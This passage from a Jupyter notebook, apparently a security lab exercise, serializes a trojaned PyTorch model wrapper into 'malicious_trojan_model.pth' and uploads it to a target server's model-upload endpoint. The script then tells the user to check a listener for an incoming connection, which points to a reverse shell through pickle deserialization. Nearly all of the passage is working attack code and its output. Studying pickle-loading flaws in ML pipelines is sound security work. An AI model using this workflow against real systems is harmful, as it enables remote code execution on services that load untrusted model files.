successfully.\")\n", " print(\n", " \"The wrapper instance now internally holds the pickled bytes of the entire modified state_dict.\"\n", " )\n", "\n", "except Exception as e:\n", " print(f\"\\n--- Error Instantiating Wrapper ---\")\n", " print(f\"Error: {e}\")\n", " raise SystemExit(\"Failed to instantiate TrojanModelWrapper.\") from e\n", "\n", "\n", "# Define the filename for our final malicious artifact\n", "final_malicious_file = \"malicious_trojan_model.pth\"\n", "\n", "print(f\"\\n--- Saving the Trojan Wrapper Instance to '{final_malicious_file}' ---\")\n", "try:\n", " torch.save(wrapper_instance, final_malicious_file)\n", " print(\n", " f\"Final malicious Trojan file saved successfully to '{final_malicious_file}'.\"\n", " )\n", " print(f\"File size: {os.path.getsize(final_malicious_file)} bytes.\")\n", "\n", "except Exception as e:\n", " # Catch potential errors during the final save operation\n", " print(f\"\\n--- Error Saving Final Malicious File ---\")\n", " import traceback\n", "\n", " traceback.print_exc()\n", " print(f\"Error details: {e}\")\n", " raise SystemExit(\"Failed to save the final malicious wrapper file.\") from e\n" ] }, { "cell_type": "code", "execution_count": 19, "id": "03f00f65-4568-491e-b525-7704e49861f2", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Attempting to upload 'malicious_trojan_model.pth' to 'http://10.129.7.84:5555/upload'...\n", "File found at 'malicious_trojan_model.pth'. Preparing upload...\n", "Sending POST request...\n", "\n", "--- Connection Error ---\n", "Could not connect to the server at 'http://10.129.7.84:5555/upload'.\n", "Please ensure:\n", " 1. The API URL is correct.\n", " 2. Your target instance is running and the port is mapped correctly.\n", " 3. There are no network issues (e.g., firewall).\n", " 4. You have a listener running for the connection.\n", "Error details: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))\n", "--- End Connection Error ---\n", "\n", "Upload script finished.\n" ] } ], "source": [ "import requests\n", "import os\n", "import traceback\n", "\n", "api_url = \"http://10.129.7.84:5555/upload\" # Replace with instance details\n", "\n", "pickle_file_path = final_malicious_file\n", "\n", "print(f\"Attempting to upload '{pickle_file_path}' to '{api_url}'...\")\n", "\n", "# Check if the malicious pickle file exists locally\n", "if not os.path.exists(pickle_file_path):\n", " print(f\"\\nError: File not found at '{pickle_file_path}'.\")\n", " print(\"Please ensure the file exists in the specified path.\")\n", "else:\n", " print(f\"File found at '{pickle_file_path}'. Preparing upload...\")\n", " # Prepare the file for upload in the format requests expects\n", " # The key 'model' must match the key expected by the Flask app (request.files['model'])\n", " files_to_upload = {\n", " \"model\": (\n", " os.path.basename(pickle_file_path),\n", " open(pickle_file_path, \"rb\"),\n", " \"application/octet-stream\",\n", " )\n", " }\n", "\n", " try:\n", " # Send the POST request with the file\n", " print(\"Sending POST request...\")\n", " response = requests.post(api_url, files=files_to_upload)\n", "\n", " # Print the server's response details\n", " print(\"\\n--- Server Response ---\")\n", " print(f\"Status Code: {response.status_code}\")\n", " try:\n", " # Try to print JSON response if available\n", " print(\"Response JSON:\")\n", " print(response.json())\n", " except requests.exceptions.JSONDecodeError:\n", " # Otherwise, print raw text response\n", " print(\"Response Text:\")\n", " print(response.text)\n", " print(\"--- End Server Response ---\")\n", "\n", " if response.status_code == 200:\n", " print(\n", " \"\\nUpload successful (HTTP 200). Check your listener for a connection.\"\n", " )\n", " else:\n", " print(\n", " f\"\\nUpload failed or server encountered an error (Status code: {response.status_code}).\"\n", " )\n", "\n", " except requests.exceptions.ConnectionError as e:\n", " print(f\"\\n--- Connection Error ---\")\n", " print(f\"Could not connect to the server at '{api_url}'.\")\n", " print(\"Please ensure:\")\n", " print(\" 1. The API URL is correct.\")\n", " print(\" 2. Your target instance is running and the port is mapped correctly.\")\n", " print(\" 3. There are no network issues (e.g., firewall).\")\n", " print(\" 4. You have a listener running for the connection.\")\n", " print(f\"Error details: {e}\")\n", " print(\"--- End Connection Error ---\")\n", "\n", " except Exception as e:\n", " print(f\"\\n--- An unexpected error occurred during upload ---\")\n", " traceback.print_exc()\n", " print(f\"Error details: {e}\")\n", " print(\"--- End Unexpected Error ---\")\n", "\n", " finally:\n", " # Ensure the file handle opened for upload is closed\n", " if \"files_to_upload\" in locals() and \"model\" in files_to_upload:\n", " try:\n", " files_to_upload[\"model\"][1].close()\n", " # print(\"Closed file handle for upload.\")\n", " except Exception as e_close:\n", " print(f\"Warning: Error closing file handle: {e_close}\")\n", "\n", "print(\"\\nUpload script finished.\")\n" ] }, { "cell_type": "code", "execution_count": null, "id": "2e8b043d-1d13-4325-890c-9e41fc1d22c2", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3 (ipykernel)", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.11.6" } }, "nbformat": 4, "nbformat_minor": 5 }